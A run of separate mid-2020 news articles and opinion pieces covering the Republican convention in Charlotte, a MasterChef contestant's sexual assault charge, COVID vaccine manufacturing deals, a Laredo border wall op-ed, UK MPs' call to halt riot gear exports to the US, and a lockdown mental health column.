The letter included a pledge to conduct temperature checks, test before and during the convention, and make masks available. But it did not mention requiring their use or social distancing.

Cooper, who will stand for reelection in November, has come under criticism from some for being too deferential to public health experts who they say are single-mindedly focused on the risk associated with the virus and not appropriately considering the impact to the economy.

"I think that it would be the MAGA rally to end all MAGA rallies," said Tariq Bokhari, a Republican member of the Charlotte City Council. "I mean, everyone's been cooped up."

"He's saying, 'We're just going to trust the medical professionals,' " Bokhari said. "And it's like asking a lawyer, 'Is this contract for our new product ready to send out?' They're going to keep saying, 'Well, no, we need more time.' "

Bokhari added: "His leadership style is more of building consensus and looking for those specific experts to really make the call."

He and other conservatives have noted that Cooper has been less focused on public health in the face of mass protests in North Carolina. "He's been out there and there are pictures of him taking his mask off with crowds," Bokhari said.

Business owners in Charlotte, already suffering from pandemic-forced closures, also are lamenting the potential loss of the convention.

"We've already been closed for months," said Anthony Kearey, who owns five restaurants in Charlotte, including 204 North Kitchen & Cocktails, which is close to the convention site. "The RNC was the light at the end of the tunnel."
will deny all allegations and has hired a top criminal lawyer to represent in court

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MasterChef: Back to Win contestant Ben Ungermann has been seen for the first time since being dumped from the popular cooking show following an arrest on sexual assault charges.

The 34-year-old appeared downcast and deep in thought as he returned to work as a head chef at Tommy Smith Cafe at Queensland's Woodlands of Marburg resort on Friday.

Dressed in a black T-shirt and a green apron, Ungermann prepared takeaway orders and intermittently checked his iPhone.

He was charged on March 6 with two counts of sexual assault, following an alleged incident in Melbourne's Docklands on February 23 involving a 16-year-old girl.

Back at work: MasterChef star Ben Ungermann (pictured) returned to his job as a head chef in Queensland - after being charged with allegedly sexually assaulting a teenage girl

Ungermann appeared deep in thought as he stood by the window of the restaurant's kitchen.

He was charged by Victorian sexual crime squad detectives on March 6 with two counts of sexual assault.

The charges followed an alleged incident in Melbourne's Docklands on February 23 involving a 16-year-old girl.

First sighting since arrest broke: The 34-year-old was seen in the kitchen of the Tommy Smith Cafe at Queensland's Woodlands of Marburg resort on Friday

At the time, he was filming the latest series of MasterChef - but was removed from the competition once producers learned of his arrest.

On March 20, it was first reported that Ungermann had been arrested.

At the time, a spokesperson for Endemol Shine described his arrest as being 'of a personal nature' but didn't provide further details.

Headlines: Ungermann was charged by Victorian sexual crime squad detectives on March 6 with two counts of sexual assault

Eliminated: At the time, he was filming the latest series of MasterChef - but was eliminated from the competition once producers learned of his arrest

Reports: On March 20, it was first reported that Ungermann had been arrested

Endemol Shine is the production company behind MasterChef and other popular shows, including Married At First Sight.

Ungermann is expected to deny all allegations and has hired top criminal lawyer Adam Houda to represent him in court.

He is listed to appear before Melbourne Magistrates' Court on June 25.

Pictured: The exterior of the Woodlands of Marburg heritage-listed resort

Not clear: It was not known whether Ungermann would return to his job as head chef

Mr Houda, who has 24 years' experience in criminal law, told Daily Mail Australia his client was completely blindsided by the charges.

'My client is distressed by the charges, which came as a huge shock to him,' he said. 'The allegations, I am instructed, are a complete fabrication and are denied.'

Ungermann was dropped from the cooking show's opening title sequence following as of May 18.

As reported by TV Tonight, Ungermann hasn't been seen in the titles even though other eliminated contestants are still featured.

MasterChef fans previously questioned why he wasn't edited out of the show after he was charged three months ago.

Virtually every reference to the cooking show contestant has been also been deleted from the website of the family's Brisbane dessert parlour, the Ungermann Brothers.

Denying all allegations: Ungermann has hired top criminal lawyer Adam Houda to represent him in court. He is listed to appear before Melbourne Magistrates' Court on June 25

Edited out: Ungermann was dropped from the cooking show's opening title sequence following as of May 18

Any trace of Ungermann has been erased since he was revealed to have been charged with the alleged sexual assault of a teenager.

Gone is a lengthy 'about us' section which hailed Ben Ungermann as 'the Ice Cream King' and once spoke of he and brother Danny's 'journey ... making an ice cream experience like no other.'

Every photograph of the well-known chef has been deleted.

Disappearing act: As reported by TV Tonight, Ungermann hasn't been seen in the titles even though other eliminated contestants are still featured

A prominent picture of Ungermann posing with his business director sibling has instead been replaced with an artistic image of a dollop of ice cream.

A biography which once described Ungermann as the company's founder has likewise been erased.

At the same time, profiles of his business partner, brother and store manager, mother remain online.

Family business: Virtually every reference to the cooking show contestant has been also been deleted from the website of the family's Brisbane dessert parlour, the Ungermann Brothers. Pictured with brother Danny (left)

Profile: Ungermann's bio had described him as the 'founder' of the business and detailed his achievements as the 2017 Masterchef runner-up, but it is now absent

Ben's bio had described him as the 'founder' of the business and detailed his achievements as the 2017 Masterchef runner-up, but it is now absent.

The deletions could have occurred at Ungermann's suggestion, but neither he or representatives for the business responded to a request for comment.

The profile had said Ungermann developed his love of ice cream while studying desserts as a contestant on the hit Network 10 show.

Ex: Ungermann's ex-girlfriend Alicia Miller (pictured), who dated him for four years and was also his manager, told Woman's Day on Monday she was 'sorry' to hear about the alleged incident and confirmed she had not spoken to him for a year

Comments: 'I'm sorry to hear this has allegedly happened to some poor, innocent girl. [Ben and I] parted ways professionally last year in June and I haven't had contact since then,' Miller said

'When I arrived back home I spoke with my brother Danny and asked if he would start this venture with me.

'Its amazing to see how far we have come and can't wait to release all the other plans and idea's I have in the near future (sic)'.

The brothers' business was launched to much fanfare two years' ago and is a well-regarded local landmark known for its 'artisan' ice cream and 50s-style interior.

Ungermann's ex-girlfriend Alicia Miller, who dated him for four years and was also his manager, told Woman's Day on Monday she was 'sorry' to hear about the alleged incident and confirmed she had not spoken to him for a year.

Moving on: After breaking up with Miller sometime in 2017 or 2018, Ungermann began dating South African radio presenter Leigh-Anne Williams (pictured)

'I'm sorry to hear this has allegedly happened to some poor, innocent girl. [Ben and I] parted ways professionally last year in June and I haven't had contact since then,' Miller said.

After breaking up with Miller sometime in 2017 or 2018, Ungermann began dating South African radio presenter Leigh-Anne Williams.

It's unclear if Ungermann and Williams, who is based in Cape Town, are still together.
Activists rally in support of the Black Lives Matter movement near the U.S. Embassy in Seoul, Friday. A group of people plan to hold another rally at Myeongdong on Saturday. Yonhap



A group of South Korean activists will hold a rally here this weekend to support the Black Lives Matter (BLM) movement in the United States and remember George Floyd.



Organizers said Friday they plan to gather at the central Seoul neighborhood of Myeongdong at 4 p.m. on Saturday and march toward Cheonggye Stream, also in central Seoul.



The group had initially planned to march from Seoul City Hall to the U.S. Embassy but changed their plans as rallies in the area have been banned amid the new coronavirus pandemic.



"We want to show solidarity with the U.S. movement and remember Floyd who was sacrificed due to racism," said Shim Ji-hoon, 34, who suggested the event.






Biopharma major AstraZeneca has entered into an agreement with the Pune-based Serum Institute of India (SII), among other world-wide vaccine manufacturers, to produce the vaccine currently under trial at the University of Oxford on a mass scale, if successful.

Our vaccine work is progressing quickly, the university said on Friday. It recently announced the start of a Phase II/III trial of the vaccine in about 10,000 adult volunteers with other late-stage trials due to begin in a number of countries around the world.

The agreements, reached on a not-for-profit basis includes a $750 million agreement with the Coalition of Epidemic Preparedness Innovations founded by the Bill and Melinda Gates Foundation, and Gavi, the vaccine alliance, to support the manufacturing, procurement and distribution of 300 million doses of the vaccine, with delivery starting by the end of the year.

In addition, the university and industry partnership reached a licensing agreement with SII to supply one billion doses for low-and-middle-income countries, with a commitment to provide 400 million before the end of 2020, the university said.

Adar Poonawalla, SIIs chief executive officer, said: Serum Institute of India is delighted to partner with AstraZeneca in bringing this vaccine to India as well as low-and-middle-income countries.

Over the past 50 years SII has built significant capability in vaccine manufacturing and supply globally. We will work closely with AstraZeneca to ensure fair and equitable distribution of the vaccine in these countries, he added.

AstraZeneca recently agreed to supply 400 million doses to the US and UK after reaching a licence agreement with Oxford for its recombinant adenovirus vaccine.

Adrian Hill, director of the Jenner Institute at Oxford, said: We are delighted to see this major agreement with global industry partners which brings to fruition the goal of Oxford University and AstraZeneca to help ensure very large scale fair and equitable Covid-19 vaccine provision in low to middle income countries around the world.

The university said that together, the agreements reached mark the latest commitments to enable global access to the vaccine, including to low-and-middle-income countries, beyond the companys recent partnerships with the UK and US.

AstraZeneca is building a number of supply chains in parallel across the world to support global access at no profit during the pandemic and has so far secured manufacturing capacity for two billion doses of the vaccine, it added.

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In 2017, I authored a white paper titled Common Sense Border Security Solutions, which I have shared countless times with members of Congress, Trump administration officials and other leaders in the public and private sectors across the country.

In it, I presented a plan for addressing border security and immigration that is sensible, fiscally responsible and serves our national interests, one that notably does not rely on an ugly, expensive and ineffective wall to accomplish the desired objectives.

Unfortunately, the federal government continues to pursue a massive border wall, including 69 miles in South Texas that would cut through Laredos historic downtown.

The Rio Grande is an essential part of Laredos social, cultural and economic fabric, as well as a beautiful amenity for residents and visitors. An ugly wall in downtown Laredo would destroy this fabric and unnecessarily separate law-abiding people from the river  with no benefit for border security while dividing us from our neighbor, Mexico.

In this instance, too many people in Washington would rather make a decision based on ideology and politics than listen to those of us who are the most knowledgeable and most affected by these issues. This approach promotes poor decision-making that creates only conflict rather than offering a sensible resolution, as well as wastes billions of dollars.

A majority of Texans, including many who live and work on the border, have supported President Donald Trumps efforts on border security. But we do not support a wall, particularly one that would damage our city. In Laredo, wed rather see commonsense security solutions that deter illegal immigration and smuggling, including increasing the number of Customs and Border Protection personnel, and investing in infrastructure and technology. Besides being unappealing, a steel-and-concrete barrier cutting through our city would also symbolically sever our relationship with our sister city, Nuevo Laredo.

The $15 billion-plus the government would spend on a proposed 731 miles of wall should instead be used to upgrade the security at our ports of entry to facilitate legal trade and travel; work with Mexico to suppress or eradicate carrizo cane and salt cedar along the Rio Grande  invasive, non-native plants that hinder the ability of border protection agents to see and respond to those seeking to cross illegally; and employ video surveillance to quickly detect, identify, classify, track and respond to border threats. The river itself is an effective barrier with these improvements, and with far fewer tax dollars committed.

By taking these steps, the area could then be managed much more effectively with technological solutions, such as motion detectors, cameras and infrared sensors. This approach is a faster, cheaper and more effective way to patrol and control the river, as opposed to a far more expensive and intrusive wall.

Yes, we need security along the U.S.-Mexico border. We need it at our legal ports of entry, where most drug smuggling and human smuggling actually occur. And we need an unobstructed river with visibility in areas where border protection and local law enforcement can stand between our Texas communities and violent cartels.

In other words, we want Trump to keep the wrong people out of Texas and the rest of the country. But we also want to keep our border open to the commerce and the legal immigrants who have always contributed to making our city, state and nation a special and prosperous place. And we want to keep a costly, divisive and ineffectual wall out of downtown Laredo and from unnecessarily being constructed along the river. We need to protect the river, not destroy it.

Dennis E. Nixon is CEO of International Bank of Commerce in Laredo and chairman of the board of International Bancshares Corp.
Pressure is growing on ministers to suspend the export of British riot gear, teargas, and rubber bullets to the US in light of a violent police crackdown against peaceful civil rights protesters in the country.

More than 160 MPs from every major party in the Commons, including Boris Johnsons own, have written to Liz Truss, the international trade secretary, calling for an immediate end to exports while an investigation takes place.

Meanwhile nearly half a million people have signed a petition on the issue in just a few days backing the call to end sales.

The 166 MPs from the Labour party, the Conservatives, SNP, Liberal Democrats, Greens, Plaid Cymru, Sinn Fein, Alliance, and SDLP say there is a need to act fast and that the government is bound by law to freeze export of all policing and security equipment to the US where it could be misused.

To witness not only the murder but what can easily be described as a lynching of a black man at the hands of a police officer is an incident that has shocked the world, the letter, organised by Labour MP Dawn Butler says.

The brutality now aimed towards protesters and reporters across the country is unacceptable.

Noting that the UK has issued active export licences to the US for anti-crowd gas, riot equipment, rubber bullets and other small arms, the MPs go on to say:

There is clear evidence to show that the aforementioned items are being misused. The UK will urgently need to investigate to ascertain whether any of those used were supplied by the UK.

Therefore, we call on the UK government to immediately suspend all export licenses to the US of all riot-related items. Let us heed the words of Martin Luther King Jr  an injustice anywhere is a threat to justice everywhere.

Other names to sign the letter include former coalition cabinet minister Ed Davey, Diane Abbott, Ian Blackford, and Yvette Cooper. Sir David Amess is the first Tory to put his name to the campaign so far.

The demonstrations on American streets erupted first in the city of Minneapolis after the killing of George Floyd by a police officer, but quickly spread across the nation.

The police response has seen security forces ramming crowds with cars, deploying teargas and baton rounds against peaceful demonstrators, and arresting and shooting at domestic and international journalists covering events. Some looting of businesses has taken place during the chaos.

Donald Trump has pledged to deploy the US military to clear the protests and urged local governors to use force to reclaim the streets if necessary.

We call on the UK government to immediately suspend all export licenses to the US of all riot-related items Letter to international trade secretary from 166 MPs

Boris Johnson left the door open to action on the issue earlier this week, stating that he was happy to look into any complaints but adding that all exports are conducted in accordance with the consolidated guidance and the UK is probably the most scrupulous country in that respect in the world.

Labour leader Keir Starmer also wrote to Mr Johnson on Thursday calling for a review of such exports. All major opposition parties have backed the call.

Meanwhile an online petition reached 475,000 signatures after just three days on Friday lunch and was likely to pass half a million people by the start of the weekend.

By continuing the sale of these items, the UK is choosing profit over human rights, the petitions organisers say.

Government export licence records show that the US is one of the worlds largest buyers of UK arms, with almost 6bn worth licensed for export since 2010.

The licences have included 18m worth of ammunition, including so-called rubber bullets, smoke and pyrotechnic charges, CS gas grenades, and teargas.

Police clash with people protesting over racism and police brutality Show all 30 1 /30 Police clash with people protesting over racism and police brutality Police clash with people protesting over racism and police brutality Philadelphia Police have clashed with protesters throughout the ongoing demonstrations across the US against police brutality and racism in the country, sparked by the recent deaths of George Floyd, Ahmaud Arbery and Breonna Taylor AP Police clash with people protesting over racism and police brutality San Jose, California AP Police clash with people protesting over racism and police brutality Boston, Massachusetts AFP via Getty Police clash with people protesting over racism and police brutality White House, Washington AP Police clash with people protesting over racism and police brutality New York EPA Police clash with people protesting over racism and police brutality Boston, Massachusetts EPA Police clash with people protesting over racism and police brutality Washington, DC Getty Police clash with people protesting over racism and police brutality Minneapolis, Minnesota Reuters Police clash with people protesting over racism and police brutality Chicago Chicago Sun-Times via AP Police clash with people protesting over racism and police brutality Des Moines, Iowa The Des Moines Register via AP Police clash with people protesting over racism and police brutality Washington DC AFP via Getty Police clash with people protesting over racism and police brutality Chicago Chicago Sun-Times via AP Police clash with people protesting over racism and police brutality New York Reuters Police clash with people protesting over racism and police brutality Washington, DC AFP via Getty Police clash with people protesting over racism and police brutality New York Getty Police clash with people protesting over racism and police brutality New York AFP via Getty Police clash with people protesting over racism and police brutality Columbia, South Carolina AP Police clash with people protesting over racism and police brutality New York EPA Police clash with people protesting over racism and police brutality Philadelphia AP Police clash with people protesting over racism and police brutality Atlanta Journal-Constitution via AP Police clash with people protesting over racism and police brutality Hollywood, California EPA Police clash with people protesting over racism and police brutality St Paul, Minnesota Getty Police clash with people protesting over racism and police brutality Washington DC Reuters Police clash with people protesting over racism and police brutality Santa Monica, California AP Police clash with people protesting over racism and police brutality Los Angeles, California EPA Police clash with people protesting over racism and police brutality Washington, DC Getty Police clash with people protesting over racism and police brutality New York Reuters Police clash with people protesting over racism and police brutality Atlanta AP Police clash with people protesting over racism and police brutality White House, Washington AFP via Getty Police clash with people protesting over racism and police brutality White House, Washington AFP via Getty

The sale of teargas and rubber bullets specifically is conducted via an open licence system meaning the value of exports is not made public  in total three separate licences were approved for this equipment.

Britain has also licensed 800m of small arms to the US since 2010, a proportion of which campaigners say is likely to have been for police use. The exports have included assault rifles, sniper rifles and other guns. Licences have also covered around 2m in security goods such as riot shields.

The governments own licensing criteria says that exports should not be granted if there is a clear risk that items might be used for internal repression. The government has the power to urgently review licences where situations change.

The 166 signatories of the letter are: Dawn Butler MP, Diane Abbott MP, Debbie Abrahams MP, Rosena Allin-Khan MP, Tahir Ali MP, Rushanara Ali MP, Sir David Amess MP, Fleur Anderson MP, Tonia Antoniazzi MP, Paula Barker MP, Orfhlaith Begley MP, Apsana Begum MP, Mhairi Black MP, Ian Blackford MP, Olivia Blake MP, Tracy Brabin MP, Mickey Brady MP, Karen Buck MP, Richard Burgon MP, Ian Byrne MP, Liam Byrne MP Ruth Cadbury MP, Amy Callaghan MP, Alistair Carmichael MP, Wendy Chamberlain MP, Sarah Champion MP, Bambos Charalambous MP, Joanna Cherry MP, Feryal Clark MP, Yvette Cooper MP, Rosie Cooper MP, Daisy Cooper MP, Jeremy Corbyn MP, Ronnie Cowan MP, Angela Crawley MP, Stella Creasy MP, Jon Cruddas MP, John Cryer MP, Janet Daby MP, Sir Ed Davey MP, Geraint Davies MP, Alex Davies-Jones, MP Martyn Day MP, Marsha de Cordova MP, Tanmanjeet Singh Dhesi MP, Martin Docherty-Hughes MP, Anneliese Dodds MP, Dave Doogan MP, Allan Dorans MP, Stephen Doughty MP, Peter Dowd MP, Tim Farron MP, Dr Stephen Farry MP, Marion Fellows MP, Margaret Ferrier MP, John Finucane MP, Stephen Flynn MP, Vicky Foxcroft MP, Michelle Gildernew MP, Preet Gill MP, Patrick Grady MP, Peter Grant MP, Neil Gray MP, Kate Green MP, Lilian Greenwood MP, Andrew Gwynne MP, Claire Hanna MP, Emma Hardy MP, Helen Hayes MP, Chris Hazzard MP, Drew Hendry MP, Mike Hill MP, Meg Hillier MP, Wera Hobhouse MP, Sharon Hodgson MP, Margaret Hodge MP, Rachel Hopkins MP, Stewart Hosie MP, George Howarth MP, Rupa Huq MP, Imran Hussain MP, Christine Jardine MP, Diana Johnson MP, Kim Johnson MP, Darren Jones MP, Ruth Jones MP, Sarah Jones MP, Barbara Keeley MP, Liz Kendall MP, Afzal Khan MP, Ben Lake MP, Ian Lavery MP, Emma Lewell-Buck MP Clive Lewis MP, David Linden MP, Tony Lloyd MP, Caroline Lucas MP, Holly Lynch MP, Angus MacNeil MP, Khalid Mahmood MP, Shabanna Mahmood MP, Stewart McDonald MP, John McDonnell MP, Alison McGovern MP, Anne McLaughlin MP, Anna McMorrin MP, Navendu Mishra MP, Francie Mollow MP, Carol Monaghan MP, Layla Moran MP, Grahame Morris MP, James Murray MP, Ian Murray MP, John Nicolson MP, Brendan OHara MP, Sarah Olney MP, Chi Onwurah MP, Abena Oppong-Asare MP, Kate Osamor MP, Kate Osborne MP, Kirsten Oswald MP Taiwo Owatemi MP Sarah Owens MP, Matthew Pennycook MP, Jess Phillips MP, Yasmin Qureshi MP, Ellie Reeves MP, Bell Ribeiro-Addy MP, Lloyd Russell-Moyle MP, Liz Saville Roberts MP, Naz Shah MP, Tulip Siddiq MP, Virendra Sharma MP, Barry Sheerman MP, Tommy Sheppard MP, Andrew Slaughter MP, Cat Smith MP, Jeff Smith MP, Karin Smyth MP, Chris Stephens MP, Jamie Stone MP, Wes Streeting MP, Zarah Sultana MP, Sam Tarry MP, Alison Thewliss MP Gareth Thomas MP Owen Thompson MP Richard Thomson MP Emily Thornberry MP, Liz Twist MP, Claudia Webbe MP, Rosie Duffield MP, Colum Eastwood MP, Clive Efford MP, Chris Elmore MP, Florence Eshalomi MP,, Bill Esterson MP, Seema Malhotra MP, Kenny MacAskill MP, Rachael Maskell MP, Paul Maskey MP, Siobhain McDonagh MP, Michael Whitley MP, Nadia Whittome MP, Hywel Williams MP, Munira Wilson MP, Mohammad Yasin MP
[June 05, 2020] Adam4Adam Raises $10,000 For The National Black Justice Coalition (NBJC)

MONTREAL, June 5, 2020 /CNW/ - Adam4Adam has raised a total of $10,000 for the National Black Justice Coalition (NBJC) as part of its week-long Pride campaign to support Black Lives Matter Movement. Adam4Adam app and website users were able to raise a bit under $5,000 and Adam4Adam is proud to round it up to $5,000 and then top it with an additional $5,000. This initiative is part of Adam4Adam's commitment to support the Black LGBTQ community. This is not the first time Adam4Adam had pledged its support to an LGBT organization. For the past four years, Adam4Adam and its users have been raising funds for the Elizabeth Taylor AIDS Foundation (ETAF) come December 1 of each year. In 2019 alone, Adam4Adam matched its users' contributions and a total of $9,310 was raised and donated to ETAF. "We wanted our organization to find a cause to support to make an impact during these trying times because people of color (POC) have always been a huge part of our community since 2003, and we wanted to give back and show our support to our black friends within the LGBTQ community!" says David Lesage, COO of Adam4Adam. "And then we found NBJC, an organization dedicated to the empowerment of Black lesbian, gay, bisexual, transgender, queer and same gender loving (LGBTQ/SGL) people, including people living wih HIV/AIDS."



Further, Mr. Lesage said, "Fifty-three percent of Adam4Adam members are people of color, this probably makes us the most diverse LGBTQ dating community online and we are very proud of that. This campaign, therefore, is but a part of Adam4Adam's duty to the community. We know that we are stronger and more beautiful with all of you!" For more information, or to schedule an interview with Adam4Adam executives about the company's commitment to gay/bi/trans/queer health, contact David Lesage at [email protected].

About Adam4Adam

17 years in the dating industry. 11 million users. 100% free to use. It's no wonder that Adam4Adam is one of the industry-leading gay social networks. Visit the website at Adam4Adam.com. The Adam4Adam app is available on iOS and Android free of charge. For more information about Adam4Adam's app, visit a4anetwork.com. Follow Adam4Adam on Instagram at instagram.com/adam4adamofficial, like on Facebook at facebook.com/adam4adam, and follow on Twitter at twitter.com/adam4adam. View original content to download multimedia:http://www.prnewswire.com/news-releases/adam4adam-raises-10-000-for-the-national-black-justice-coalition-nbjc-301071052.html SOURCE Adam4Adam

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(Photo : REUTERS/Athit Perawongmetha) Phials of an mRNA type vaccine candidate for the coronavirus disease (COVID-19) are pictured at Chulalongkorn University during the development of an mRNA type vaccine for the coronavirus disease (COVID-19) in Bangkok, Thailand, May 25, 2020. (Photo : REUTERS/Dado Ruvic) A woman holds a small bottle labeled with a "Vaccine COVID-19" sticker and a medical syringe in this illustration taken April 10, 2020.

The U.S. Department of Defense (DoD) will give the Novavax Inc up to 60 million USD to fund the manufacturing of its experimental COVID-19 vaccine.

According to Reuters, the U.S. biotech company said on Thursday, June 4, that the deal includes the delivery of 10 million doses of its COVID-19 vaccine, NVXCoV2373, to the DoD this year.

NVXCoV2373 is comprised of a stable, prefusion protein antigen produced using its proprietary nanoparticle technology and includes Novavax's proprietary MatrixM adjuvant.

The grant means data from DoD could be used in Phase 2/3 clinical trials or under an emergency use approval from the U.S. Food and Drugs Authority.

Novavax President and Chief Executive Officer Stanley C. Erck exclaimed his delight over the news. "We are genuinely honored at the opportunity to protect our military personnel and their families who have devoted themselves to the needs of U.S. citizens and others worldwide," said Erck.

He also added that the grant will allow the company to significantly expand its vaccine production, which is a critical step in its ability to provide support amid the COVID-19 pandemic.

The Maryland-based company joined the race for human testing of experimental coronavirus vaccines.

Novavax said it aims to produce more than a billion doses of its COVID-19 vaccine next year.

As part of the contract, Novavax will work with a U.S.-based biologics contract development manufacturing organization (CDMO) to manufacture the antigen component of NVX-CoV2373 for at least 10 million doses of vaccine.

Novavax's NVX-CoV2373 vaccine

As a vaccine candidate, NVXCoV2373 was engineered from SARSCoV2, which causes COVID-19. The vaccine was created using Novavax's recombinant nanoparticle technology to create antigen derived from the coronavirus spike protein. It also contains the Novavax' patented saponin-based Matrix-MTM adjuvant to boost the immune response and stimulate neutralizing antibodies.

The Novavax vaccine's trial began last month as drugmakers pause clinical trials on medications for other illnesses to focus on finding a cure for COVID-19, which was taken the lives of at least 386,379 patients globally.

Preliminary data on safety and indicators of an immune response for the first batch of trial participants is expected to be released next month.

Meanwhile, the Coalition for Epidemic Preparedness Innovations (CEPI) is investing up to $388 million to advance the clinical development of NVXCoV2373.

World leaders to raise at least 2 billion USD for coronavirus vaccine

World leaders see vaccines as the only way to revive their economies after months of being shut down.

On Thursday, global leaders gave come together through a virtual summit to raise at least $2 billion to support the development of the COVID-19 vaccine for people throughout the world.

The summit was organized by a public-private partnership called Gavi, aiming to increase vaccination rates in developing countries.

During the summit, Gavi proposed that lower-income countries can access the vaccine once it becomes available. Also, wealthy countries can get access to these vaccines while supporting equitable distribution worldwide.

"Sadly, the disease will probably be worse in the developing countries, even though it was slow to get going there because the health system is weaker, and the idea of doing a lockdown is not as practical," said Bill Gates.

The Bill and Melinda Gates Foundation pledged $100 million more toward efforts to buy vaccines against the coronavirus for the poorest countries on top of the $1.6 billion grant for Gavi's child vaccination mission.

Read also: Coronavirus Patients' Risk of Death Cut in Half by Arthritis Drug; Controversial COVID-19 Papers Found by The Lancet

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
A colleague told me the other day that more people are currently being treated for the consequences of attempted suicide than for Covid-19 at his hospital.

The sad thing is, I didn't find this particularly shocking. Just two weeks after lockdown, on March 23, I expressed my fears in this column that mental health patients would become the forgotten victims of the pandemic.

After more than two months of virtual house arrest, I believe we are on the brink of an unprecedented mental health crisis.

While many have coped well with the restrictions  and even started to actually enjoy life in lockdown  a significant number with severe mental health problems have been cut off from their usual sources of support.

At one hospital more people are currently being treated for the consequences of attempted suicide than for Covid-19

In its panic to prepare itself for an influx of coronavirus patients, the NHS suspended or restricted mental health services.

As the weeks have dragged on, many patients deprived of treatment are experiencing a growing sense of desperation.

One patient  who was discharged from the community mental health team that had supported her for a decade on the day the lockdown started  likened it to having to hold her breath.

'I can't hold my breath for ever,' she said. 'At some point I'll drown.'

Fortunately for her, the mental health team she's registered with is now back in operation. Others aren't so fortunate.

And, yes, some are in such despair they contemplate suicide. Many colleagues in mental health services around the country report incidents of patients attempting to take their own lives  some tragically succeeding.

Crisis teams  doctors and nurses working in the community with people having suicidal thoughts  have remained open and are being inundated with referrals of people who have nowhere else to turn.

I have been calling many of my own patients to check in on them. Most are keen to reassure me that they are OK and coping.

I hope that is truly the case. But this is a situation that should never have been allowed to develop. Ill health  physical or mental  isn't a game of Top Trumps.

The sad fact that people are dying due to a pandemic doesn't mean mental illness ceases to be a problem.

The sad fact that people are dying due to a pandemic doesn't mean mental illness ceases to be a problem

A member of one inner city crisis team told me that the flood of referrals was so great that they had to limit their appointments to those who had actually tried to kill themselves, rather than those battling suicidal thoughts.

What kind of message does this send to desperate people? It's barbaric.

We should have been better prepared  because there were warnings from the past.

Deaths by suicide increased in the U.S. during the 1918-19 Spanish Flu pandemic, and in Hong Kong during the 2003 SARS epidemic.

Yet we know that suicides can be prevented  if the care and support is accessible. Our response to this pandemic has, in some areas, been utterly shambolic.

We failed to ensure that we had sufficient stocks of personal protective equipment, despite repeated warnings over decades that a pandemic was the number one threat the country faced.

We failed to have resources in place to conduct widespread testing and tracing from the start.

We failed to introduce quarantine measures when they would have had an impact on the spread of infection.

We failed  horrifically  those in care homes. And we also failed to take into account the psychological impacts of confining vulnerable people in their homes for long periods.

We listened to scientists who relied on flawed models and thought only in narrow terms about deaths due to the virus.

They ignored the wider ramifications of lockdown on the nation's health.

We diverted NHS resources into preparing for a tidal wave of coronavirus patients that never quite arrived  leaving thousands of mental health patients in limbo.

They need help now  before it becomes too late for many of them.

drmax@dailymail.co.uk

Don't go bonkers for those burgers

I'm sure you'll have seen the extraordinary images this week of customers queuing outside McDonald's outlets.

When the fast-food chain reopened some of its drivethrough sites after lockdown, thousands of people jumped into their cars to wait for up to three hours for a Big Mac or a Quarter Pounder.

Given what we know about obesity and the increased risk of potentially deadly complications from coronavirus, I wonder whether we have learnt anything at all from this pandemic.

Treating yourself to a burger and fries is fine once in a while but bore than half of the adult population of this country is already categorised as overweight or obese

Of course, treating yourself to a burger and fries is fine once in a while. But should we really be reaching for fast food at the earliest opportunity?

More than half of the adult population of this country is already categorised as overweight or obese.

Human beings are so bad at evaluating risks. Just the other day, I saw a woman leaning outside a shop, her face mask pulled down, smoking a cigarette.

She was so worried about coronavirus she'd donned a mask  but was happily puffing away when smoking is one of the biggest causes of death in Britain.

Bonkers!

Cardinal Vincent Nichols, head of the Roman Catholic Church in England and Wales, has called on the Government to allow churches to reopen, in order to prevent a culture of 'individualism' from flourishing. I suspect that ship has sailed. We are a very self-centred and individualistic society, although I think the lockdown has made some people question this. I am an atheist but I realise how important places of worship can be for people of all faiths. We shouldn't neglect the spiritual aspect of their wellbeing. So yes, let's open them up!

Thank you to everyone who contacted me regarding my little rant last week about the increase in litter during lockdown. It seems I touched a nerve.

Regular readers will know litter is a bugbear of mine. Indeed, I go on about it so much, a rather cheeky friend sent me two litter-pickers!

At medical school, it was drummed into us that our external environment has a big impact on what goes on inside our heads.

This newspaper has long campaigned against the scourge of litter and promoted the nationwide Great British Spring Clean campaign, the progress of which was unfortunately scuppered by the pandemic.

I hope we'll be able to resurrect it very soon. We'll certainly need it.

Covid's lasting health damage

The Government's Scientific Advisory Group on Emergencies (SAGE) published a report this week showing Covid-19 may cause long-term health problems, with some patients complaining of 'extreme tiredness and shortness of breath for several months' after the infection.

Many colleagues and friends who were infected have indeed complained about fatigue. One friend has had debilitating symptoms for more than 11 weeks, with no sign of them improving.

The exact cause isn't clear, so there is every incentive for better research to really get to grips with the multiple ways this virus affects the body.

And those who had the infection need continuing expert care to get completely well. This calls for a multi-disciplinary approach.

Most Covid-19 patients who require intensive care are suffering more than the expected symptoms, according to Indiana University School of Medicine research.

It found nearly three-quarters of such patients become delirious. This is concerning because delirium is also associated with a 10 per cent higher risk of death in coronavirus cases.

ICU delirium is shockingly common among such patients and can cause significant long-term mental health problems.

Around half of such patients can later experience post-traumatic stress disorder, depression and anxiety. Around 30 per cent still suffer a year later.

Few appreciate how traumatic ICU can be. It's not just how sick people are, but also the absence of natural light, poor quality sleep and sensory deprivation that may contribute to the devastating psychological impact.

Dr Max prescribes...

Cultivating compassion for ourselves and for others can have tremendous mental health benefits. This self-help book, by Chris Irons and Elaine Beaumont, is popular among mental health professionals and draws on Compassion-Focused Therapy, which is designed to help those who suffer from high levels of self-criticism and shame. It aims to help people be kinder to themselves and others. Many patients have found this approach very helpful.

Go to amazon.co.uk/Compassionate-Mind-Workbookstep-step/dp/1472135903
David Tarrant, The Dallas Morning News (TNS)

Blame the outsider.

That seems to be the one thing uniting politicians, protesters and police who are blaming outside agitators for demonstrations that have turned violent in dozens of cities around the country over the past week.

But just who are these outsiders? Are they organized groups? Individuals committing random acts of violence?

President Donald Trump blames the violence on outside extremists, specifically antifa, a shadowy, far-left movement that he describes as a domestic terrorist organization.

Others who study extremism in the United States say the violence has been purposely stoked by far-right fringe groups, with names such as the Boogaloo movement, which wants to exploit the marches to sow discord and turn the public against the protesters.

Law enforcement officials, from Dallas Police Chief U. Renee Hall to Texas Department of Public Safety Director Steven McGraw have also blamed outside groups for protests that turn violent.

DPS will pursue all agitators and individuals involved in inciting riots, McGraw said during a news conference Tuesday in Dallas with Gov. Greg Abbott and the mayors of Dallas and Fort Worth.

Abbott, Dallas Mayor Eric Johnson and Fort Worth Mayor Betsy Price all pointed to outside agitators as those perpetrating violence and vandalism. Abbott has deployed DPS troopers and National Guard members to cities, including Dallas, to help local law enforcement.

